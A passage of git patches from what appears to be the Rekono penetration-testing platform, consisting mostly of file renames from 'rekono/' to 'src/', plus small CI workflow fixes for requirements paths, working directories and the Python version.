src/backend/testing/tools/__init__.py diff --git a/rekono/testing/tools/base.py b/src/backend/testing/tools/base.py similarity index 100% rename from rekono/testing/tools/base.py rename to src/backend/testing/tools/base.py diff --git a/rekono/testing/tools/test_cmseek.py b/src/backend/testing/tools/test_cmseek.py similarity index 100% rename from rekono/testing/tools/test_cmseek.py rename to src/backend/testing/tools/test_cmseek.py diff --git a/rekono/testing/tools/test_dirsearch.py b/src/backend/testing/tools/test_dirsearch.py similarity index 100% rename from rekono/testing/tools/test_dirsearch.py rename to src/backend/testing/tools/test_dirsearch.py diff --git a/rekono/testing/tools/test_emailfinder.py b/src/backend/testing/tools/test_emailfinder.py similarity index 100% rename from rekono/testing/tools/test_emailfinder.py rename to src/backend/testing/tools/test_emailfinder.py diff --git a/rekono/testing/tools/test_emailharvester.py b/src/backend/testing/tools/test_emailharvester.py similarity index 100% rename from rekono/testing/tools/test_emailharvester.py rename to src/backend/testing/tools/test_emailharvester.py diff --git a/rekono/testing/tools/test_gitleaks.py b/src/backend/testing/tools/test_gitleaks.py similarity index 100% rename from rekono/testing/tools/test_gitleaks.py rename to src/backend/testing/tools/test_gitleaks.py diff --git a/rekono/testing/tools/test_gobuster.py b/src/backend/testing/tools/test_gobuster.py similarity index 100% rename from rekono/testing/tools/test_gobuster.py rename to src/backend/testing/tools/test_gobuster.py diff --git a/rekono/testing/tools/test_joomscan.py b/src/backend/testing/tools/test_joomscan.py similarity index 100% rename from rekono/testing/tools/test_joomscan.py rename to src/backend/testing/tools/test_joomscan.py diff --git a/rekono/testing/tools/test_log4j_scan.py b/src/backend/testing/tools/test_log4j_scan.py similarity index 100% rename from rekono/testing/tools/test_log4j_scan.py rename to src/backend/testing/tools/test_log4j_scan.py diff --git a/rekono/testing/tools/test_metasploit.py b/src/backend/testing/tools/test_metasploit.py similarity index 100% rename from rekono/testing/tools/test_metasploit.py rename to src/backend/testing/tools/test_metasploit.py diff --git a/rekono/testing/tools/test_nitkto.py b/src/backend/testing/tools/test_nitkto.py similarity index 100% rename from rekono/testing/tools/test_nitkto.py rename to src/backend/testing/tools/test_nitkto.py diff --git a/rekono/testing/tools/test_nmap.py b/src/backend/testing/tools/test_nmap.py similarity index 100% rename from rekono/testing/tools/test_nmap.py rename to src/backend/testing/tools/test_nmap.py diff --git a/rekono/testing/tools/test_nuclei.py b/src/backend/testing/tools/test_nuclei.py similarity index 100% rename from rekono/testing/tools/test_nuclei.py rename to src/backend/testing/tools/test_nuclei.py diff --git a/rekono/testing/tools/test_searchsploit.py b/src/backend/testing/tools/test_searchsploit.py similarity index 100% rename from rekono/testing/tools/test_searchsploit.py rename to src/backend/testing/tools/test_searchsploit.py diff --git a/rekono/testing/tools/test_smbmap.py b/src/backend/testing/tools/test_smbmap.py similarity index 100% rename from rekono/testing/tools/test_smbmap.py rename to src/backend/testing/tools/test_smbmap.py diff --git a/rekono/testing/tools/test_spring4shell_scan.py b/src/backend/testing/tools/test_spring4shell_scan.py similarity index 100% rename from rekono/testing/tools/test_spring4shell_scan.py rename to src/backend/testing/tools/test_spring4shell_scan.py diff --git a/rekono/testing/tools/test_ssh_audit.py b/src/backend/testing/tools/test_ssh_audit.py similarity index 100% rename from rekono/testing/tools/test_ssh_audit.py rename to src/backend/testing/tools/test_ssh_audit.py diff --git a/rekono/testing/tools/test_sslscan.py b/src/backend/testing/tools/test_sslscan.py similarity index 100% rename from rekono/testing/tools/test_sslscan.py rename to src/backend/testing/tools/test_sslscan.py diff --git a/rekono/testing/tools/test_sslyze.py b/src/backend/testing/tools/test_sslyze.py similarity index 100% rename from rekono/testing/tools/test_sslyze.py rename to src/backend/testing/tools/test_sslyze.py diff --git a/rekono/testing/tools/test_theharvester.py b/src/backend/testing/tools/test_theharvester.py similarity index 100% rename from rekono/testing/tools/test_theharvester.py rename to src/backend/testing/tools/test_theharvester.py diff --git a/rekono/testing/tools/test_zap.py b/src/backend/testing/tools/test_zap.py similarity index 100% rename from rekono/testing/tools/test_zap.py rename to src/backend/testing/tools/test_zap.py diff --git a/rekono/tools/__init__.py b/src/backend/tools/__init__.py similarity index 100% rename from rekono/tools/__init__.py rename to src/backend/tools/__init__.py diff --git a/rekono/tools/admin.py b/src/backend/tools/admin.py similarity index 100% rename from rekono/tools/admin.py rename to src/backend/tools/admin.py diff --git a/rekono/tools/apps.py b/src/backend/tools/apps.py similarity index 100% rename from rekono/tools/apps.py rename to src/backend/tools/apps.py diff --git a/rekono/tools/enums.py b/src/backend/tools/enums.py similarity index 100% rename from rekono/tools/enums.py rename to src/backend/tools/enums.py diff --git a/rekono/tools/exceptions.py b/src/backend/tools/exceptions.py similarity index 100% rename from rekono/tools/exceptions.py rename to src/backend/tools/exceptions.py diff --git a/rekono/tools/executor/__init__.py b/src/backend/tools/executor/__init__.py similarity index 100% rename from rekono/tools/executor/__init__.py rename to src/backend/tools/executor/__init__.py diff --git a/rekono/tools/executor/callback.py b/src/backend/tools/executor/callback.py similarity index 100% rename from rekono/tools/executor/callback.py rename to src/backend/tools/executor/callback.py diff --git a/rekono/tools/executor/executor.py b/src/backend/tools/executor/executor.py similarity index 100% rename from rekono/tools/executor/executor.py rename to src/backend/tools/executor/executor.py diff --git a/rekono/tools/filters.py b/src/backend/tools/filters.py similarity index 100% rename from rekono/tools/filters.py rename to src/backend/tools/filters.py diff --git a/rekono/tools/fixtures/1_tools.json b/src/backend/tools/fixtures/1_tools.json similarity index 100% rename from rekono/tools/fixtures/1_tools.json rename to src/backend/tools/fixtures/1_tools.json diff --git a/rekono/tools/fixtures/2_intensities.json b/src/backend/tools/fixtures/2_intensities.json similarity index 100% rename from rekono/tools/fixtures/2_intensities.json rename to src/backend/tools/fixtures/2_intensities.json diff --git a/rekono/tools/fixtures/3_configurations.json b/src/backend/tools/fixtures/3_configurations.json similarity index 100% rename from rekono/tools/fixtures/3_configurations.json rename to src/backend/tools/fixtures/3_configurations.json diff --git a/rekono/tools/fixtures/4_arguments.json b/src/backend/tools/fixtures/4_arguments.json similarity index 100% rename from rekono/tools/fixtures/4_arguments.json rename to src/backend/tools/fixtures/4_arguments.json diff --git a/rekono/tools/fixtures/5_inputs.json b/src/backend/tools/fixtures/5_inputs.json similarity index 100% rename from rekono/tools/fixtures/5_inputs.json rename to src/backend/tools/fixtures/5_inputs.json diff --git a/rekono/tools/fixtures/6_outputs.json b/src/backend/tools/fixtures/6_outputs.json similarity index 100% rename from rekono/tools/fixtures/6_outputs.json rename to src/backend/tools/fixtures/6_outputs.json diff --git a/rekono/tools/migrations/0001_initial.py b/src/backend/tools/migrations/0001_initial.py similarity index 100% rename from rekono/tools/migrations/0001_initial.py rename to src/backend/tools/migrations/0001_initial.py diff --git a/rekono/tools/migrations/0002_initial.py b/src/backend/tools/migrations/0002_initial.py similarity index 100% rename from rekono/tools/migrations/0002_initial.py rename to src/backend/tools/migrations/0002_initial.py diff --git a/rekono/tools/migrations/0003_auto_20230105_1642.py b/src/backend/tools/migrations/0003_auto_20230105_1642.py similarity index 100% rename from rekono/tools/migrations/0003_auto_20230105_1642.py rename to src/backend/tools/migrations/0003_auto_20230105_1642.py diff --git a/rekono/tools/migrations/__init__.py b/src/backend/tools/migrations/__init__.py similarity index 100% rename from rekono/tools/migrations/__init__.py rename to src/backend/tools/migrations/__init__.py diff --git a/rekono/tools/models.py b/src/backend/tools/models.py similarity index 100% rename from rekono/tools/models.py rename to src/backend/tools/models.py diff --git a/rekono/tools/serializers.py b/src/backend/tools/serializers.py similarity index 100% rename from rekono/tools/serializers.py rename to src/backend/tools/serializers.py diff --git a/rekono/tools/tools/__init__.py b/src/backend/tools/tools/__init__.py similarity index 100% rename from rekono/tools/tools/__init__.py rename to src/backend/tools/tools/__init__.py diff --git a/rekono/tools/tools/base_tool.py b/src/backend/tools/tools/base_tool.py similarity index 100% rename from rekono/tools/tools/base_tool.py rename to src/backend/tools/tools/base_tool.py diff --git a/rekono/tools/tools/cmseek.py b/src/backend/tools/tools/cmseek.py similarity index 100% rename from rekono/tools/tools/cmseek.py rename to src/backend/tools/tools/cmseek.py diff --git a/rekono/tools/tools/dirsearch.py b/src/backend/tools/tools/dirsearch.py similarity index 100% rename from rekono/tools/tools/dirsearch.py rename to src/backend/tools/tools/dirsearch.py diff --git a/rekono/tools/tools/emailfinder.py b/src/backend/tools/tools/emailfinder.py similarity index 100% rename from rekono/tools/tools/emailfinder.py rename to src/backend/tools/tools/emailfinder.py diff --git a/rekono/tools/tools/emailharvester.py b/src/backend/tools/tools/emailharvester.py similarity index 100% rename from rekono/tools/tools/emailharvester.py rename to src/backend/tools/tools/emailharvester.py diff --git a/rekono/tools/tools/gitleaks.py b/src/backend/tools/tools/gitleaks.py similarity index 100% rename from rekono/tools/tools/gitleaks.py rename to src/backend/tools/tools/gitleaks.py diff --git a/rekono/tools/tools/gobuster.py b/src/backend/tools/tools/gobuster.py similarity index 100% rename from rekono/tools/tools/gobuster.py rename to src/backend/tools/tools/gobuster.py diff --git a/rekono/tools/tools/joomscan.py b/src/backend/tools/tools/joomscan.py similarity index 100% rename from rekono/tools/tools/joomscan.py rename to src/backend/tools/tools/joomscan.py diff --git a/rekono/tools/tools/log4j_scan.py b/src/backend/tools/tools/log4j_scan.py similarity index 100% rename from rekono/tools/tools/log4j_scan.py rename to src/backend/tools/tools/log4j_scan.py diff --git a/rekono/tools/tools/metasploit.py b/src/backend/tools/tools/metasploit.py similarity index 100% rename from rekono/tools/tools/metasploit.py rename to src/backend/tools/tools/metasploit.py diff --git a/rekono/tools/tools/nikto.py b/src/backend/tools/tools/nikto.py similarity index 100% rename from rekono/tools/tools/nikto.py rename to src/backend/tools/tools/nikto.py diff --git a/rekono/tools/tools/nmap.py b/src/backend/tools/tools/nmap.py similarity index 100% rename from rekono/tools/tools/nmap.py rename to src/backend/tools/tools/nmap.py diff --git a/rekono/tools/tools/nuclei.py b/src/backend/tools/tools/nuclei.py similarity index 100% rename from rekono/tools/tools/nuclei.py rename to src/backend/tools/tools/nuclei.py diff --git a/rekono/tools/tools/searchsploit.py b/src/backend/tools/tools/searchsploit.py similarity index 100% rename from rekono/tools/tools/searchsploit.py rename to src/backend/tools/tools/searchsploit.py diff --git a/rekono/tools/tools/smbmap.py b/src/backend/tools/tools/smbmap.py similarity index 100% rename from rekono/tools/tools/smbmap.py rename to src/backend/tools/tools/smbmap.py diff --git a/rekono/tools/tools/spring4shell_scan.py b/src/backend/tools/tools/spring4shell_scan.py similarity index 100% rename from rekono/tools/tools/spring4shell_scan.py rename to src/backend/tools/tools/spring4shell_scan.py diff --git a/rekono/tools/tools/ssh_audit.py b/src/backend/tools/tools/ssh_audit.py similarity index 100% rename from rekono/tools/tools/ssh_audit.py rename to src/backend/tools/tools/ssh_audit.py diff --git a/rekono/tools/tools/sslscan.py b/src/backend/tools/tools/sslscan.py similarity index 100% rename from rekono/tools/tools/sslscan.py rename to src/backend/tools/tools/sslscan.py diff --git a/rekono/tools/tools/sslyze.py b/src/backend/tools/tools/sslyze.py similarity index 100% rename from rekono/tools/tools/sslyze.py rename to src/backend/tools/tools/sslyze.py diff --git a/rekono/tools/tools/theharvester.py b/src/backend/tools/tools/theharvester.py similarity index 100% rename from rekono/tools/tools/theharvester.py rename to src/backend/tools/tools/theharvester.py diff --git a/rekono/tools/tools/zap.py b/src/backend/tools/tools/zap.py similarity index 100% rename from rekono/tools/tools/zap.py rename to src/backend/tools/tools/zap.py diff --git a/rekono/tools/urls.py b/src/backend/tools/urls.py similarity index 100% rename from rekono/tools/urls.py rename to src/backend/tools/urls.py diff --git a/rekono/tools/utils.py b/src/backend/tools/utils.py similarity index 100% rename from rekono/tools/utils.py rename to src/backend/tools/utils.py diff --git a/rekono/tools/views.py b/src/backend/tools/views.py similarity index 100% rename from rekono/tools/views.py rename to src/backend/tools/views.py diff --git a/rekono/users/__init__.py b/src/backend/users/__init__.py similarity index 100% rename from rekono/users/__init__.py rename to src/backend/users/__init__.py diff --git a/rekono/users/admin.py b/src/backend/users/admin.py similarity index 100% rename from rekono/users/admin.py rename to src/backend/users/admin.py diff --git a/rekono/users/apps.py b/src/backend/users/apps.py similarity index 100% rename from rekono/users/apps.py rename to src/backend/users/apps.py diff --git a/rekono/users/enums.py b/src/backend/users/enums.py similarity index 100% rename from rekono/users/enums.py rename to src/backend/users/enums.py diff --git a/rekono/users/filters.py b/src/backend/users/filters.py similarity index 100% rename from rekono/users/filters.py rename to src/backend/users/filters.py diff --git a/rekono/users/migrations/0001_initial.py b/src/backend/users/migrations/0001_initial.py similarity index 100% rename from rekono/users/migrations/0001_initial.py rename to src/backend/users/migrations/0001_initial.py diff --git a/rekono/users/migrations/__init__.py b/src/backend/users/migrations/__init__.py similarity index 100% rename from rekono/users/migrations/__init__.py rename to src/backend/users/migrations/__init__.py diff --git a/rekono/users/models.py b/src/backend/users/models.py similarity index 100% rename from rekono/users/models.py rename to src/backend/users/models.py diff --git a/rekono/users/serializers.py b/src/backend/users/serializers.py similarity index 100% rename from rekono/users/serializers.py rename to src/backend/users/serializers.py diff --git a/rekono/users/urls.py b/src/backend/users/urls.py similarity index 100% rename from rekono/users/urls.py rename to src/backend/users/urls.py diff --git a/rekono/users/views.py b/src/backend/users/views.py similarity index 100% rename from rekono/users/views.py rename to src/backend/users/views.py diff --git a/config.yaml b/src/config.yaml similarity index 100% rename from config.yaml rename to src/config.yaml diff --git a/src/frontend/.env.production b/src/frontend/.env.production new file mode 100644 index 000000000..6297d960f --- /dev/null +++ b/src/frontend/.env.production @@ -0,0 +1 @@ +VUE_APP_DESKTOP_BACKEND_URL=https://127.0.0.1 diff --git a/rekono/frontend/babel.config.js b/src/frontend/babel.config.js similarity index 100% rename from rekono/frontend/babel.config.js rename to src/frontend/babel.config.js diff --git a/rekono/frontend/package-lock.json b/src/frontend/package-lock.json similarity index 100% rename from rekono/frontend/package-lock.json rename to src/frontend/package-lock.json diff --git a/rekono/frontend/package.json b/src/frontend/package.json similarity index 100% rename from rekono/frontend/package.json rename to src/frontend/package.json diff --git a/rekono/frontend/public/favicon.icns b/src/frontend/public/favicon.icns similarity index 100% rename from rekono/frontend/public/favicon.icns rename to src/frontend/public/favicon.icns diff --git a/rekono/frontend/public/favicon.ico b/src/frontend/public/favicon.ico similarity index 100% rename from rekono/frontend/public/favicon.ico rename to src/frontend/public/favicon.ico diff --git a/rekono/frontend/public/favicon.png b/src/frontend/public/favicon.png similarity index 100% rename from rekono/frontend/public/favicon.png rename to src/frontend/public/favicon.png diff --git a/rekono/frontend/public/index.html b/src/frontend/public/index.html similarity index 100% rename from rekono/frontend/public/index.html rename to src/frontend/public/index.html diff --git a/rekono/frontend/public/static/background.jpg b/src/frontend/public/static/background.jpg similarity index 100% rename from rekono/frontend/public/static/background.jpg rename to src/frontend/public/static/background.jpg diff --git a/rekono/frontend/public/static/defect-dojo-favicon.ico b/src/frontend/public/static/defect-dojo-favicon.ico similarity index 100% rename from rekono/frontend/public/static/defect-dojo-favicon.ico rename to src/frontend/public/static/defect-dojo-favicon.ico diff --git a/rekono/frontend/public/static/logo-black.png b/src/frontend/public/static/logo-black.png similarity index 100% rename from rekono/frontend/public/static/logo-black.png rename to src/frontend/public/static/logo-black.png diff --git a/rekono/frontend/public/static/logo-white.png b/src/frontend/public/static/logo-white.png similarity index 100% rename from rekono/frontend/public/static/logo-white.png rename to src/frontend/public/static/logo-white.png diff --git a/rekono/frontend/src/App.vue b/src/frontend/src/App.vue similarity index 100% rename from rekono/frontend/src/App.vue rename to src/frontend/src/App.vue diff --git a/rekono/frontend/src/assets/style.scss b/src/frontend/src/assets/style.scss similarity index 100% rename from rekono/frontend/src/assets/style.scss rename to src/frontend/src/assets/style.scss diff --git a/rekono/frontend/src/backend/RekonoAlerts.vue b/src/frontend/src/backend/RekonoAlerts.vue similarity index 100% rename from rekono/frontend/src/backend/RekonoAlerts.vue rename to src/frontend/src/backend/RekonoAlerts.vue diff --git a/rekono/frontend/src/backend/RekonoApi.vue b/src/frontend/src/backend/RekonoApi.vue similarity index 100% rename from rekono/frontend/src/backend/RekonoApi.vue rename to src/frontend/src/backend/RekonoApi.vue diff --git a/rekono/frontend/src/backend/RekonoPagination.vue b/src/frontend/src/backend/RekonoPagination.vue similarity index 100% rename from rekono/frontend/src/backend/RekonoPagination.vue rename to src/frontend/src/backend/RekonoPagination.vue diff --git a/rekono/frontend/src/backend/tokens.js b/src/frontend/src/backend/tokens.js similarity index 100% rename from rekono/frontend/src/backend/tokens.js rename to src/frontend/src/backend/tokens.js diff --git a/rekono/frontend/src/background.js b/src/frontend/src/background.js similarity index 100% rename from rekono/frontend/src/background.js rename to src/frontend/src/background.js diff --git a/rekono/frontend/src/common/Deletion.vue b/src/frontend/src/common/Deletion.vue similarity index 100% rename from rekono/frontend/src/common/Deletion.vue rename to src/frontend/src/common/Deletion.vue diff --git a/rekono/frontend/src/common/MainHeader.vue b/src/frontend/src/common/MainHeader.vue similarity index 100% rename from rekono/frontend/src/common/MainHeader.vue rename to src/frontend/src/common/MainHeader.vue diff --git a/rekono/frontend/src/common/MainTabs.vue b/src/frontend/src/common/MainTabs.vue similarity index 100% rename from rekono/frontend/src/common/MainTabs.vue rename to src/frontend/src/common/MainTabs.vue diff --git a/rekono/frontend/src/common/Pagination.vue b/src/frontend/src/common/Pagination.vue similarity index 100% rename from rekono/frontend/src/common/Pagination.vue rename to src/frontend/src/common/Pagination.vue diff --git a/rekono/frontend/src/common/PublicForm.vue b/src/frontend/src/common/PublicForm.vue similarity index 100% rename from rekono/frontend/src/common/PublicForm.vue rename to src/frontend/src/common/PublicForm.vue diff --git a/rekono/frontend/src/common/TableHeader.vue b/src/frontend/src/common/TableHeader.vue similarity index 100% rename from rekono/frontend/src/common/TableHeader.vue rename to src/frontend/src/common/TableHeader.vue diff --git a/rekono/frontend/src/components/Processes.vue b/src/frontend/src/components/Processes.vue similarity index 100% rename from rekono/frontend/src/components/Processes.vue rename to src/frontend/src/components/Processes.vue diff --git a/rekono/frontend/src/components/Projects.vue b/src/frontend/src/components/Projects.vue similarity index 100% rename from rekono/frontend/src/components/Projects.vue rename to src/frontend/src/components/Projects.vue diff --git a/rekono/frontend/src/components/Tools.vue b/src/frontend/src/components/Tools.vue similarity index 100% rename from rekono/frontend/src/components/Tools.vue rename to src/frontend/src/components/Tools.vue diff --git a/rekono/frontend/src/components/Users.vue b/src/frontend/src/components/Users.vue similarity index 100% rename from rekono/frontend/src/components/Users.vue rename to src/frontend/src/components/Users.vue diff --git a/rekono/frontend/src/components/Wordlists.vue b/src/frontend/src/components/Wordlists.vue similarity index 100% rename from rekono/frontend/src/components/Wordlists.vue rename to src/frontend/src/components/Wordlists.vue diff --git a/rekono/frontend/src/components/dashboard/Dashboard.vue b/src/frontend/src/components/dashboard/Dashboard.vue similarity index 100% rename from rekono/frontend/src/components/dashboard/Dashboard.vue rename to src/frontend/src/components/dashboard/Dashboard.vue diff --git a/rekono/frontend/src/components/dashboard/FindingsByType.vue b/src/frontend/src/components/dashboard/FindingsByType.vue similarity index 100% rename from rekono/frontend/src/components/dashboard/FindingsByType.vue rename to src/frontend/src/components/dashboard/FindingsByType.vue diff --git a/rekono/frontend/src/components/dashboard/TasksByStatus.vue b/src/frontend/src/components/dashboard/TasksByStatus.vue similarity index 100% rename from rekono/frontend/src/components/dashboard/TasksByStatus.vue rename to src/frontend/src/components/dashboard/TasksByStatus.vue diff --git a/rekono/frontend/src/components/dashboard/VulnerabilitiesBySeverity.vue b/src/frontend/src/components/dashboard/VulnerabilitiesBySeverity.vue similarity index 100% rename from rekono/frontend/src/components/dashboard/VulnerabilitiesBySeverity.vue rename to src/frontend/src/components/dashboard/VulnerabilitiesBySeverity.vue diff --git a/rekono/frontend/src/components/findings/Finding.vue b/src/frontend/src/components/findings/Finding.vue similarity index 100% rename from rekono/frontend/src/components/findings/Finding.vue rename to src/frontend/src/components/findings/Finding.vue diff --git a/rekono/frontend/src/components/findings/Findings.vue b/src/frontend/src/components/findings/Findings.vue similarity index 100% rename from rekono/frontend/src/components/findings/Findings.vue rename to src/frontend/src/components/findings/Findings.vue diff --git a/rekono/frontend/src/components/project/Dashboard.vue b/src/frontend/src/components/project/Dashboard.vue similarity index 100% rename from rekono/frontend/src/components/project/Dashboard.vue rename to src/frontend/src/components/project/Dashboard.vue diff --git a/rekono/frontend/src/components/project/Members.vue b/src/frontend/src/components/project/Members.vue similarity index 100% rename from rekono/frontend/src/components/project/Members.vue rename to src/frontend/src/components/project/Members.vue diff --git a/rekono/frontend/src/components/project/Targets.vue b/src/frontend/src/components/project/Targets.vue similarity index 100% rename from rekono/frontend/src/components/project/Targets.vue rename to src/frontend/src/components/project/Targets.vue diff --git a/rekono/frontend/src/components/project/Tasks.vue b/src/frontend/src/components/project/Tasks.vue similarity index 100% rename from rekono/frontend/src/components/project/Tasks.vue rename to src/frontend/src/components/project/Tasks.vue diff --git a/rekono/frontend/src/errors/NotFound.vue b/src/frontend/src/errors/NotFound.vue similarity index 100% rename from rekono/frontend/src/errors/NotFound.vue rename to src/frontend/src/errors/NotFound.vue diff --git a/rekono/frontend/src/main.js b/src/frontend/src/main.js similarity index 100% rename from rekono/frontend/src/main.js rename to src/frontend/src/main.js diff --git a/rekono/frontend/src/modals/ChangePassword.vue b/src/frontend/src/modals/ChangePassword.vue similarity index 100% rename from rekono/frontend/src/modals/ChangePassword.vue rename to src/frontend/src/modals/ChangePassword.vue diff --git a/rekono/frontend/src/modals/DefectDojo.vue b/src/frontend/src/modals/DefectDojo.vue similarity index 100% rename from rekono/frontend/src/modals/DefectDojo.vue rename to src/frontend/src/modals/DefectDojo.vue diff --git a/rekono/frontend/src/modals/InviteUser.vue b/src/frontend/src/modals/InviteUser.vue similarity index 100% rename from rekono/frontend/src/modals/InviteUser.vue rename to src/frontend/src/modals/InviteUser.vue diff --git a/rekono/frontend/src/modals/Process.vue b/src/frontend/src/modals/Process.vue similarity index 100% rename from rekono/frontend/src/modals/Process.vue rename to src/frontend/src/modals/Process.vue diff --git a/rekono/frontend/src/modals/Project.vue b/src/frontend/src/modals/Project.vue similarity index 100% rename from rekono/frontend/src/modals/Project.vue rename to src/frontend/src/modals/Project.vue diff --git a/rekono/frontend/src/modals/ProjectMember.vue b/src/frontend/src/modals/ProjectMember.vue similarity index 100% rename from rekono/frontend/src/modals/ProjectMember.vue rename to src/frontend/src/modals/ProjectMember.vue diff --git a/rekono/frontend/src/modals/Step.vue b/src/frontend/src/modals/Step.vue similarity index 100% rename from rekono/frontend/src/modals/Step.vue rename to src/frontend/src/modals/Step.vue diff --git a/rekono/frontend/src/modals/Task.vue b/src/frontend/src/modals/Task.vue similarity index 100% rename from rekono/frontend/src/modals/Task.vue rename to src/frontend/src/modals/Task.vue diff --git a/rekono/frontend/src/modals/TaskRepeat.vue b/src/frontend/src/modals/TaskRepeat.vue similarity index 100% rename from rekono/frontend/src/modals/TaskRepeat.vue rename to src/frontend/src/modals/TaskRepeat.vue diff --git a/rekono/frontend/src/modals/Wordlist.vue b/src/frontend/src/modals/Wordlist.vue similarity index 100% rename from rekono/frontend/src/modals/Wordlist.vue rename to src/frontend/src/modals/Wordlist.vue diff --git a/rekono/frontend/src/modals/targets/Target.vue b/src/frontend/src/modals/targets/Target.vue similarity index 100% rename from rekono/frontend/src/modals/targets/Target.vue rename to src/frontend/src/modals/targets/Target.vue diff --git a/rekono/frontend/src/modals/targets/TargetDetails.vue b/src/frontend/src/modals/targets/TargetDetails.vue similarity index 100% rename from rekono/frontend/src/modals/targets/TargetDetails.vue rename to src/frontend/src/modals/targets/TargetDetails.vue diff --git a/rekono/frontend/src/modals/targets/TargetPort.vue b/src/frontend/src/modals/targets/TargetPort.vue similarity index 100% rename from rekono/frontend/src/modals/targets/TargetPort.vue rename to src/frontend/src/modals/targets/TargetPort.vue diff --git a/rekono/frontend/src/modals/targets/Technology.vue b/src/frontend/src/modals/targets/Technology.vue similarity index 100% rename from rekono/frontend/src/modals/targets/Technology.vue rename to src/frontend/src/modals/targets/Technology.vue diff --git a/rekono/frontend/src/modals/targets/Vulnerability.vue b/src/frontend/src/modals/targets/Vulnerability.vue similarity index 100% rename from rekono/frontend/src/modals/targets/Vulnerability.vue rename to src/frontend/src/modals/targets/Vulnerability.vue diff --git a/rekono/frontend/src/router/index.js b/src/frontend/src/router/index.js similarity index 100% rename from rekono/frontend/src/router/index.js rename to src/frontend/src/router/index.js diff --git a/rekono/frontend/src/store/index.js b/src/frontend/src/store/index.js similarity index 100% rename from rekono/frontend/src/store/index.js rename to src/frontend/src/store/index.js diff --git a/rekono/frontend/src/views/Login.vue b/src/frontend/src/views/Login.vue similarity index 100% rename from rekono/frontend/src/views/Login.vue rename to src/frontend/src/views/Login.vue diff --git a/rekono/frontend/src/views/Main.vue b/src/frontend/src/views/Main.vue similarity index 100% rename from rekono/frontend/src/views/Main.vue rename to src/frontend/src/views/Main.vue diff --git a/rekono/frontend/src/views/Profile.vue b/src/frontend/src/views/Profile.vue similarity index 100% rename from rekono/frontend/src/views/Profile.vue rename to src/frontend/src/views/Profile.vue diff --git a/rekono/frontend/src/views/Project.vue b/src/frontend/src/views/Project.vue similarity index 100% rename from rekono/frontend/src/views/Project.vue rename to src/frontend/src/views/Project.vue diff --git a/rekono/frontend/src/views/ResetPassword.vue b/src/frontend/src/views/ResetPassword.vue similarity index 100% rename from rekono/frontend/src/views/ResetPassword.vue rename to src/frontend/src/views/ResetPassword.vue diff --git a/rekono/frontend/src/views/Settings.vue b/src/frontend/src/views/Settings.vue similarity index 100% rename from rekono/frontend/src/views/Settings.vue rename to src/frontend/src/views/Settings.vue diff --git a/rekono/frontend/src/views/Signup.vue b/src/frontend/src/views/Signup.vue similarity index 100% rename from rekono/frontend/src/views/Signup.vue rename to src/frontend/src/views/Signup.vue diff --git a/rekono/frontend/src/views/Task.vue b/src/frontend/src/views/Task.vue similarity index 100% rename from rekono/frontend/src/views/Task.vue rename to src/frontend/src/views/Task.vue diff --git a/rekono/frontend/vue.config.js b/src/frontend/vue.config.js similarity index 100% rename from rekono/frontend/vue.config.js rename to src/frontend/vue.config.js From 598c5c579d0ec75ef9939310f72e5992f7483a31 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 8 Jul 2023 14:50:17 +0200 Subject: [PATCH 002/141] Fix broken references to requirements.txt --- .github/workflows/code-style-backend.yml | 2 +- .github/workflows/unit-testing.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/code-style-backend.yml b/.github/workflows/code-style-backend.yml index 9f80ac498..0ca6e896b 100644 --- a/.github/workflows/code-style-backend.yml +++ b/.github/workflows/code-style-backend.yml @@ -34,7 +34,7 @@ jobs: - name: Install Python dependencies run: | python -m pip install -U pip - python -m pip install -r requirements.txt + python -m pip install -r src/backend/requirements.txt - name: Install MyPy run: python3 -m pip install mypy==0.931 diff --git a/.github/workflows/unit-testing.yml b/.github/workflows/unit-testing.yml index 88c0de17c..742731bd0 100644 --- a/.github/workflows/unit-testing.yml +++ b/.github/workflows/unit-testing.yml @@ -44,7 +44,7 @@ jobs: python-version: '3.9' - name: Install Python dependencies - run: python3 -m pip install -r requirements.txt + run: python3 -m pip install -r src/backend/requirements.txt - name: Run unit tests working-directory: rekono From 6a92c0465882b9e3402ccc66220fe91e47a66c44 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 8 Jul 2023 14:57:44 +0200 Subject: [PATCH 003/141] Fix broken references to backend directory --- .github/workflows/unit-testing.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/unit-testing.yml b/.github/workflows/unit-testing.yml index 742731bd0..3226b5efb 100644 --- a/.github/workflows/unit-testing.yml +++ b/.github/workflows/unit-testing.yml @@ -47,9 +47,9 @@ jobs: run: python3 -m pip install -r src/backend/requirements.txt - name: Run unit tests - working-directory: rekono + working-directory: src/backend run: coverage run manage.py test - name: Check coverage - working-directory: rekono + working-directory: src/backend run: coverage report -m --skip-covered --omit="telegram_bot/*" --fail-under=$REQUIRED_COVERAGE From e54ce4c06209d1c810b2afa6152b27fcca9ca711 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 9 Jul 2023 16:59:38 +0200 Subject: [PATCH 004/141] Update Python version used by MyPy job --- .github/workflows/code-style-backend.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/code-style-backend.yml b/.github/workflows/code-style-backend.yml index 0ca6e896b..23f3fad55 100644 --- a/.github/workflows/code-style-backend.yml +++ b/.github/workflows/code-style-backend.yml @@ -29,7 +29,7 @@ jobs: - uses: actions/setup-python@v4 with: - python-version: '3.7' + python-version: '3.8' - name: Install Python dependencies run: | From 56653fa334a94dcd8f1377369e9b292a6a7696f0 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 9 Jul 2023 17:03:37 +0200 Subject: [PATCH 005/141] Debug generated EXE --- .github/workflows/desktop-ui.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/desktop-ui.yml b/.github/workflows/desktop-ui.yml index 3603e89c5..49758a26f 100644 --- a/.github/workflows/desktop-ui.yml +++ b/.github/workflows/desktop-ui.yml @@ -68,7 +68,9 @@ jobs: - name: Change DEB filename if: matrix.os == 'windows-latest' working-directory: src/frontend/dist_electron - run: ren *.${{ matrix.extension }} %DEB_FILENAME%.${{ matrix.extension }} + run: | + dir + ren *.${{ matrix.extension }} %DEB_FILENAME%.${{ matrix.extension }} - name: Upload Desktop UI as GitHub artifact uses: actions/upload-artifact@v3 From 8fed1d94622ee9f576c70294503993fbde974f1f Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 9 Jul 